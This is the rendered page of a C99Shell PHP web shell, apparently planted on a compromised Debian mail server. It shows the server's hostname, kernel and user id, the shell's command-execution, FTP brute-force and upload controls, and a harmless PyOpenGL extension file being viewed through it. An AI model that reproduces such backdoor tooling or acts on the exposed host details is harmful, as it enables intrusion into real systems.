!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/pyshared/OpenGL/GL/SGIX/   drwxr-xr-x
Free 130 GB of 142.11 GB (91.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     async.py (2.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'''OpenGL extension SGIX.async

This module customises the behaviour of the 
OpenGL.raw.GL.SGIX.async to provide a more 
Python-friendly API

Overview (from the spec)
    
    This extension provides a framework for asynchronous OpenGL
    commands.  It also provides commands allowing a program to wait
    for the completion of asynchronous commands.
    
    Asynchronous commands have two properties:
    
    1) Asynchronous commands are non-blocking.  For example, an
    asynchronous ReadPixels command returns control to the program
    immediately rather than blocking until the command completes.
    This property allows the program to issue other OpenGL commands in
    parallel with the execution of commands that normally block.
    
    2) Asynchronous commands may complete out-of-order with respect to
    other OpenGL commands.  For example, an asynchronous TexImage
    command may complete after subsequent OpenGL commands issued by
    the program rather than maintaining the normal serial order of the
    OpenGL command stream.  This property allows the graphics
    accelerator to execute asynchronous commands in parallel with the
    normal command stream, for instance using a secondary path to
    transfer data from or to the host, without doing any dependency
    checking.
    
    Programs that issue asynchronous commands must also be able to
    determine when the commands have completed.  The completion status
    may be needed so that results can be retrieved (e.g. the image
    data from a ReadPixels command) or so that dependent commands can
    be issued (e.g. drawing commands that use texture data downloaded
    by an earlier asynchronous command).  This extension provides
    fine-grain control over asynchronous commands by introducing a
    mechanism for determining the status of individual commands.
    
    Each invocation of an asynchronous command is associated with an
    integer called a "marker."  A program specifies a marker before it
    issues an asynchronous command.  The program may later issue a
    command to query if any asynchronous commands have completed.  The
    query commands return a marker to identify the command that
    completed.  This extension provides both blocking and non-blocking
    query commands.
    
    This extension does not define any asynchronous commands.
    See SGIX_async_pixel for the asynchronous pixel commands.

The official definition of this extension is available here:
http://www.opengl.org/registry/specs/SGIX/async.txt
'''
from OpenGL import platform, constants, constant, arrays
from OpenGL import extensions, wrapper
from OpenGL.GL import glget
import ctypes
from OpenGL.raw.GL.SGIX.async import *
### END AUTOGENERATED SECTION

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0182 ]--